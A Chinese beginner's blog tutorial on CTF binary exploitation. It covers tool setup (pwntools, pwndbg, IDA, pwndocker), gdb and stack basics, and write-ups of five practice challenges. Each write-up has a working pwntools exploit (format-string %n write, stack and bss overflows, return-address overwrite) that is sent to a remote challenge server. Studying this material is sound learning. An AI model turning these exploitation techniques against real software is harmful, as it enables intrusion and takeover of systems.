0x0 前言
一个菜?web狗的转型之路,记录下自己学习PWN的过程。
0x1 简单介绍PWN概念
主要参考下: wiki pwn
我们可以看到PWN具体细分话有好几个种类。
这里笔者重点研究的是: Window Kernal and Linux Kernal (window 内核 和 Linux内核)
CTF 的题目多是 关于两种系统内核的模块漏洞,自写一些漏洞代码的程序,然后通过pwn技术获取到相应程序的完全控制权限等操作。
关于Linux 和 Windows,其实利用原理是一样的,只是在实现的过程存在差异,所以入门的话,我们可以直接选择从Linux Pwn入手开始学习。
0x2 环境搭建
由于笔者是MAC环境,所以环境安装这块就多点笔墨了。
1.MAC PD虚拟机 Ubuntu 16.04 x64
2.pwntools
3.pwndbg
4.ida
0x1 mac安装pwntools
采用homebrew
安装很方便
1.安装pwntools
brew install pwntools
2.安装bintuils 二进制工具
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb
命令执行完之后,我们要导入我们pwntools的包放到环境变量。
1./usr/local/Cellar/pwntools/3.12.2_1/libexec/lib/python2.7/site-packages
2.在系统默认安装包的site-packages写个.pth文件写入上面的地址就可以了
之后我们就可以使用常用的工具
checksec /Users/xq17/Desktop/bf743d8c386f4a83b107c49ac6fbcaaf
最后测试下python的pwn模块
import pwn
pwn.asm("xor eax,eax")
这样就代表可以了。
参考链接:mac下安装pwntools
0x2 mac配置 sublime 交互运行
我们首先需要设置sublime的 Tools ->Build System -> New Build System
{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}
我再运行的时候,发现命令行可以执行,但是st3上面执行报这个错误
后面问了下vk师傅和google之后发现是设置环境变量的问题: Reference solve
我们修改下上面的配置为
{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"env":
{
"TERM":"linux",
"TERMINFO":"/etc/zsh"
},
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}
这样就能解决错误啦。 但是我们还得继续解决下交互执行的问题。
我们首先下载
command + shift + p
输入 install Package
然后在弹出的框输入 SublimeREPL
等待下载安装。
(1) 配置快捷键
preferences
-> Key Binding
添加一条
{
"keys": ["command+n"],
"caption": "SublimeREPL: Python - RUN current file",
"command": "run_existing_window_command",
"args": {
"id": "repl_python_run",
"file": "config/Python/Main.sublime-menu"}
},
{
"keys": ["command+m"],
"caption": "SublimeREPL: Python - PDB current file",
"command": "run_existing_window_command",
"args": {
"id": "repl_python_pdb",
"file": "config/Python/Main.sublime-menu"}
}
(2) 配置 SublimeREPL
环境变量
sudo find / -iname "Main.sublime-menu"
找到路径
/Users/xq17/Library/Application Support/Sublime Text 3/Packages/SublimeREPL/config/python
编辑 Main.sublime-menu
这样我们直接 command + n
就能在st3直接进入交互模式
小彩蛋: sublime 的快捷键
新建一个group: shift + option + command + 2
切换group: ctrl + 1 ctrl+2 切换到第几个窗口
当时我还折腾了下pycharm的解决方案(pycharm很适合开发项目,可以用来当作高效开发的选择)
首先我们要建立python2.7作为解释器
这样配置我们的
Environment variables: TERM=linux;TERMINFO=/etc/zsh
这样我们的运行环境就配置好了
0x3 MAC 安装 IDA
这个吾爱很多,有针对mac系列的解决方案。
学习二进制吾爱破解账号应该是标配吧。
0x4 pwndocker一体化环境
我比较懒惰,直接上docker, 推荐一个githud: pwndocker
常用工具基本都集成了,非常方便
也有其他镜像
docker search pwndocker
搭建过程:
我们自己新建一个专门用来存放pwn文件的目录。
/Users/xq17/Desktop/pwn
然后在当前目录执行:
docker run -d
--rm
-h mypwn
--name mypwn
-v $(pwd):/ctf/work
-p 23946:23946
--cap-add=SYS_PTRACE
skysider/pwndocker
然后进入:
docker exec -it mypwn /bin/bash
这样基本就ok拉.
0x5 参考链接
0x3 工具介绍篇
0x1 pwntools
参考链接: 一步一步学pwntools (看雪论坛)
0x2 gdb+pwndbg
0x2.1 启动gdb
-
gdb program
//直接gdb+文件名开始调试, frequent -
gdb program pid
//gdb调试正在运行的程序 -
gdb -args programs
解决程序带命令行参数的情况 或者run
之后再加上参数
0x2.2 退出gdb
quit or q
0x2.3 在gdb调试程序带适合执行shell命令
shell command args
0x2.4 一些基础参数的介绍
gdb的命令分别有:(这里我只说几个重点和常用的)
breakpoints(断点) stack(栈)help breakpoints
可以查看该命令的详细帮助说明help all
列出所有命令详细说明info
用来获取被调试应用程序的相关信息show
用来获取gdb本身设置的信息
更多内容,参考一下链接(GDB命令基础,让你的程序bug无处躲藏) 我很少记忆,都是需要就去查
pwndbg的学习可以参考官方文档: https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md
0x3 ida 常用快捷键
F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。 直观,哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名,能理清楚逻辑
x: 查看交叉引用
0x4 checksec简单介绍
保护机制介绍:
DEP(NX) 不允许执行栈上的数据
RELRO 这个介绍有点长分为两种:
1.Partial RELRO GOT表仍然可写
2.Full RELRO GOT表只读
ASLR(PIE 随机化系统调用地址
stack 栈溢出保护
下面我会针对这些保护继续介绍的,先了解下基本作用和概念。
更细内容可以参考下面的文章
0x4 实践篇
0x4.1 学习使用pwndpg来理解程序流程
我们入门先写一个hello world
的程序
#include <stdio.h>
int hello(int a,int b)
{
return a+b;
}
int main()
{
printf("Hello world!n");
hello(1, 2);
return 0;
}
编译开启调试选项:
gcc -g -Wall test.c -o test
然后开启我们gdb调试熟悉下程序的执行流程
因为可以源码debug
直接 1.b main
2.run
我们看下栈段的信息
所以我们可以根据这些信息,画出调用hello
函数的堆栈图。
我们输入s
,进入到hello
函数,先记录下没进去之前的rbp,rsp
这里我们按照指令去跟进call: ni
si
两者区别同上
这里我补充下关于函数调用的汇编知识
ret 指令是退出函数 等价于 pop RIP
call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
push RIP
jmp x
push ebp 就是把ebp的内容放入当前栈顶单元的上方
pop ebp 从栈顶单元中取出数据送入ebp寄存器中
RSP 指向栈顶单元,会根据栈大小来动态改变。
我们验证下:
然后si
跟进
然后我们获取下rbp的内存地址来画堆栈图
这个时候rbp
值没改变,但是rsp
改变了
执行完mov rbp, rsp
后面就到return a+b
,这里没有进行开辟栈空间,所以这些操作并没有在当前栈里面。rbp rsp
指向同一地址
接着执行ret可以看到
RIP的值就是上面那个栈顶的值, 这就验证了ret => pop rip
这里栈没什么空间,所以这里丢个简单的栈图
0x4.2 参考链接
0x5 练习篇
第一部分我打算从攻防世界的新手区刷起
0x1 get_shell
(1) 题目描述及其考点
题目描述:运行就能拿到shell呢,真的
考点: 基本的pwntools使用
(2) wp
直接hex Fiend查看或者checksec
或者用自带的file x
可以得知这个程序是64位(x86-64 就是x64)的
我们直接用ida打开,f5一下,可以知道这个题目的确很基础,考察基本的pwn链接。
可以看出来直接system执行了命令行下的输入
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}
那么我们直接写个连接nc的脚本就行了
上面给出了nc的地址: 111.198.29.45:34462
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 34462)
c.interactive()
0x2 CGfsb
(1) 题目描述及其考点
题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
漏洞点: 格式化字符串
(2)wp
我们把附件下载下来,直接ida打开。
我们checksec
查看下
这是32位架构的,直接用ida64打开是没办法反编译的,这里我们选择用32位ida去打开
然后在左边那个Function name
窗口按下m
就会匹配以m开头的函数,找到main
函数,f5反编译
// 这里我选取了重要代码出来,
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);// 这里漏洞点
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:n");
system("cat flag");
}
printf()
的标准格式是: printf(“<格式化字符串>”,<参量表>)
首先我们找出偏移量
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', 'AAAA %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x')
c.interactive()
AAAA
其实就是 十进制ascii 65->0x41 (16进制)
这样看起来比较方便。
我们可以看到AAAA 相对于格式化字符串的偏移量是10。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote("111.198.29.45", 53486)
payload = p32(0x0804A068) + '1234' + '%10$n'
c.sendlineafter('name:', 'aaa')
c.sendlineafter('please:', payload)
c.interactive()
这里需要介绍%n
在格式化字符串中作用
%n: 将%n 之前printf已经打印的字符个数赋值给格式化字符串对应偏移地址位置。
这里因为要pwnme为8,所以我们构造p32(0x0804A068) + '1234'
8个字节,然后%10$n
进行赋值给p32(0x0804A068)
地址,从而pwn掉。
0x3 when_did_you_born
(1)题目描述及其考点
只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
考点: 栈溢出
(2) wp
首先看下文件结构:
这里开启了Canary
保护,也许你现在对此一无所知,但是没关系,看我细细道来。
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈上,当函数结束时会检查这个栈上的值是否和存进去的值一致
那么这句话是什么意思呢,就算你不懂汇编,也没关系,听我一点点地举例子来分析。
我们ida64打开下载下来的elf文件, 左边按m找到main函数,代码如下。
我们挑取代码下来分析下:
.text:0000000000400826 main proc near ; DATA XREF: start+1D↑o
.text:0000000000400826
.text:0000000000400826 var_20 = byte ptr -20h
.text:0000000000400826 var_18 = dword ptr -18h
.text:0000000000400826 var_8 = qword ptr -8
.text:0000000000400826
.text:0000000000400826 ; __unwind {
.text:0000000000400826 push rbp
.text:0000000000400827 mov rbp, rsp
.text:000000000040082A sub rsp, 20h
.text:000000000040082E mov rax, fs:28h
.text:0000000000400837 mov [rbp+var_8], rax
.text:000000000040083B xor eax, eax
.text:000000000040083D mov rax, cs:stdin
.text:0000000000400844 mov esi, 0 ; buf
.text:0000000000400849 mov rdi, rax ; stream
.text:000000000040084C call _setbuf
.text:0000000000400851 mov rax, cs:stdout
.text:0000000000400858 mov esi, 0 ; buf
.text:000000000040085D mov rdi, rax ; stream
.text:0000000000400860 call _setbuf
.text:0000000000400865 mov rax, cs:stderr
.text:000000000040086C mov esi, 0 ; buf
.text:0000000000400871 mov rdi, rax ; stream
.text:0000000000400874 call _setbuf
.text:0000000000400879 mov edi, offset s ; "What's Your Birth?"
.text:000000000040087E call _puts
.text:0000000000400883 lea rax, [rbp+var_20]
.text:0000000000400887 add rax, 8
.text:000000000040088B mov rsi, rax
.text:000000000040088E mov edi, offset aD ; "%d"
.text:0000000000400893 mov eax, 0
.text:0000000000400898 call ___isoc99_scanf
.text:000000000040089D nop
补充一些基础的汇编知识点:
; 分号代表注释
main proc near ; 代表main子程序的开始 可以类比为 main(){}中的 main{
main endp ;代表main子程序的结束,类比为 main(){} 中的 }
.text:0000000000400826 var_20 = byte ptr -20h
.text:0000000000400826 var_18 = dword ptr -18h
.text:0000000000400826 var_8 = qword ptr -8
= 用来定义一个一个常量
操作符 x ptr 指明内存单元的长度
byte ptr代表是字节单元
word ptr 代表是字单元(两个字节大小)
dword ptr 代表是双字单元(4个字节大小)
qword ptr 代表是四字单元(8个字节大小)
下面是cannary的重点了.
.text:0000000000400826 push rbp
.text:0000000000400827 mov rbp, rsp
.text:000000000040082A sub rsp, 20h
.text:000000000040082E mov rax, fs:28h
理解这里,我们先掌握一些小知识
调用函数过程涉及到三个寄存器(寄存器可以理解为一个存放值的盒子)
分别是 sp,bp,ip (16位cpu) esp,ebp,eip(32位cpu) rsp,rbp,rip(64位cpu)
rsp用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
rbp用来存储当前函数状态的基地址,在函数运行时不变,用来索引确定函数的参数或局部变量的位置
rip 用来存储即将执行的程序指令的地址, cpu根据eip的存储内容读取指令并执行(程序控制指令模式)
栈空间增长方式是从高地址到地址的,也就是栈顶的地址值是小于栈底的地址值的
我们可以通过gdb调试画出对应的堆栈图
我们复制下push rbp的指令地址,然后打个断点,然后r(run)
我们可以利用pwndpg
插件很清楚的看到堆栈信息
我们输入n
程序执行到下一行 (n ->next
不进入函数 s->step
进入函数 )
接着,左边直接找main函数,然后f5,得到代码
这代码逻辑其实很容易看懂,就是一开始v5
不能等于1926进入else流程的时候,v5
等于1926就能输出flag
作为一枚pwn萌新,其实感觉还是有点不可思议的,但是转头想想栈溢出覆盖值的概念,就觉得可以理解了。
我们注意下else
流程哪里,有个gets(&v4)
是char类型的,很明显不对劲嘛,gets
应该读取的是字符串类型
这样我就可以输入无数个字符,这样可能就会导致栈溢出。
然后我们想想,我们可不可以控制v4
让其溢出去覆盖v5
的值呢,下面看我操作吧。
我们首先需要确认下v4
和v5
的位置
ida反编译直接双击或者鼠标点到v4
v5
可以看到相对esp ebp的位置
v4 rsp+0h rbp-20h
v5 rsp+8h rbp-18h
所以说我们可以直接写exp了。
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
c = remote('111.198.29.45', '52808')
c.sendlineafter('Birth?', '1999')
c.sendlineafter('Name?','A'*8 + p64(1926))
c.interactive()
其实画个图很好理解
这里因为不需要栈越界所以canary
保护就没啥用了,如果栈越界的话,那么就会导致canary存的值发生改变,然后比较改变之后程序就会执行__stack_chk_fail
函数,从而终止程序,后面遇到bypass cannary保护我再继续深究下具体流程,目前我们还是继续刷题,巩固下前面的知识先。
(3) 参考链接
0x4 hello_pwn
(1)题目描述及其考点
pwn!,segment fault!菜鸡陷入了深思
考点: bss段溢出
(4)wp
我们首先把文件下载下来,checksec
一下
还是老套路找入口函数main
然后我会直接双击sub_400686
查看下函数内容.
这样就很容易明白我们的目标是让等式成立。
.assets/image-20191006222315601.png#alt=image-20191006222315601)
我们可以通过read
控制unk_601068
10个字节。
这里涉及到bss
段的概念
bss段主要存放未初始化的全局变量
可以看到上面两个变量都是没有进行初始化的。
bss段数据是向高地址增长的,所以说低地址数据可以覆盖高地址数据
所以我们可以直接写出exp了 两者之间的相差4个字节 0x6B-0x68=0x4
,我们还可0x10-0x4=12字节,
写入1853186401
=0x6E756161
小于int范围4字节足矣
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:44975'.split(':')
# print(ip, port)
c = remote(ip, port)
#接收完这个数据之后再发送.其实不要也行,得看服务端处理速度
c.recvuntil("lets get helloworld for bof")
c.sendline('A'*4 + p64(1853186401))
c.interactive()
0x3 参考链接
0x5 level0
(1)题目描述及其考点
菜鸡了解了什么是溢出,他相信自己能得到shell
考点: 栈溢出 return2libc
这个题目很经典的栈溢出漏洞利用,通过栈溢出来覆盖返回地址,从而调用恶意函数地址。
而且这个漏洞代码非常简洁,很适合新手去学习。
(2)wp
第一步套路看保护:
第二步ida搜索入口函数
看到vulnerable_function
,显然是个提示。
然后看下函数的代码是啥:
然后我们shift+f12
看下字符串
发现有个/bin/sh
,
通过xref确定了后门函数:
所以说如果我们能调用这个函数就可以反弹一个shell了。
这个时候基本就可以猜到是栈溢出了覆盖函数返回地址。
我们具体来分析下:
首先我们查看下write
and read
函数的文档说明:
read(int fd,void buf,size_t nbyte)
ssize_t write(int fd,const void buf,size_t nbytes)
fd是文件描述符 0是标准输入 1是标准输出
其实很好理解,第一个函数往1里面写入了hello world
,因为1对应的标准输出对象是屏幕,所以就会在屏幕上输出helloworld,就是一个printf的功能。
同理read也是这样,我们直接在屏幕输入的数据就会被读取到buf里面。
这个题目没开pie
,也就是地址其实就是固定的,所以我们先确定下那个shell函数的地址(函数开始地址): 0000000000400596
我们继续分析下read
的问题:
.assets/image-20191007075530589.png#alt=image-20191007075530589)
这里buf
应该是char
类型1字节大小,但是读取的时候竟然可以写入0x200的数据,这里的栈大小是0x80
字节
那个0x80
怎么算的呢
rsp+0h 说明这个位置其实就是rsp的位置
rbp-80h 说明rbp距离rsp是0x80h,那么栈的大小不就是rbp-rsp=+0x80大小吗?
这样我们就可以考虑覆盖read函数的返回地址了。
我们可以画个草图,然后用gdb去调试下这个流程就很容易明白覆盖过程了。
这个题目涉及到一个完整的函数调用流程,这里为了照顾跟我一样的萌新,我再细细地继续从0基础说一次。
重新回顾下:
ebp 作用就是存储当前函数的基地址,运行时保持不变,用来索引函数参数或者局部变量的位置
esp 用来存储函数调用栈顶地址,在压栈是地址减少,退栈是地址增大
eip 指向程序下一条执行指令。
我们简化下概念:
假设有函数A 函数B
函数A在第二行调用了函数B,也就是说第一行的时候eip指向的就是执行第二行的指令的地址。
int function A()
{
B();
printf("123");
}
那么调用完B之后,eip怎么去指向printf
函数去执行呢,这里就是函数调用栈的关键啦。
首先我们要明确,栈空间是在当前空间开辟的一个独立空间,而且增长方式与当前空间是相反的。
有了这个概念之后,我们继续分析。
假设第三条指令地址(printf函数)是0x3,也就是说B函数执行完之后,eip应该执行0x3
那么执行第二条指令开辟的栈的流程就是:
保护现场
首先把0x3 eip信息压入栈内,保留了eip程序执行流程的信息。
然后把当前ebp寄存器的值(调用函数A的基地址)压入栈内,然后更将ebp寄存器的值更新为当前栈顶的地址。
这样调用函数A的ebp信息可以得到保存,同时ebp被更新为被调用函数b的ebp地址。
恢复现场
首先pop ebp,然后恢复了调用函数A时候的ebp。
然后pop eip 退出栈,恢复之前的下一条eip指令
可能有些人就在想为啥要这样做? eip不变不行吗,为啥要入栈作为返回地址存存起来,这里有个小误区,首先在栈空间里也是需要eip的,所以说栈空间的指令执行的时候eip会发生改变,不作为返回地址存起来的话,那么就会丢失程序流程。
理解之后我们画个堆栈图来理解这个题目
这里是开辟了0x80的栈空间
看下地址:
0xf0-0x70=0x80
可以看到数据的增长方向(内存地址是随机化的,每次启动都不同)
如果再继续输入的话,就会把ebp给覆盖了。
我们直接可以写exp了。 因为rbp是占用8字节64位寄存器,0x80+0x8=0x88(覆盖rbp之后继续添加数据就覆盖返回地址了)
#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
ip, port = '111.198.29.45:37260'.split(':')
# print(ip, port)
c = remote(ip, port)
# c.recvuntil("lets get helloworld for bof")
# p64是小端字节序转换
c.sendline('A'*0x88 + p64(0x400596))
c.interactive()
0x6 总结
因为自己也是一个萌新,所以文章难免有疏漏或者错误的地方,欢迎师傅给我订正。对于网上的pwn教程我个人觉得对新手真的不是特别友好,造成了pwn入门门槛偏高,希望自己能给一些新手带来一些帮助,也希望有师傅能带带我这个pwn萌新谢谢。 还有。。后面我会花时间填好之前那个java代码审计入门教程的坑的。。。不过还是得先准备下老师的考试。。。。。。我会尽快的。。emmmm。
0x7 预期计划
由于自己学的比较零碎,后面还是通过继续做题,最后再来个总结的方式,记录下自己的学习过程。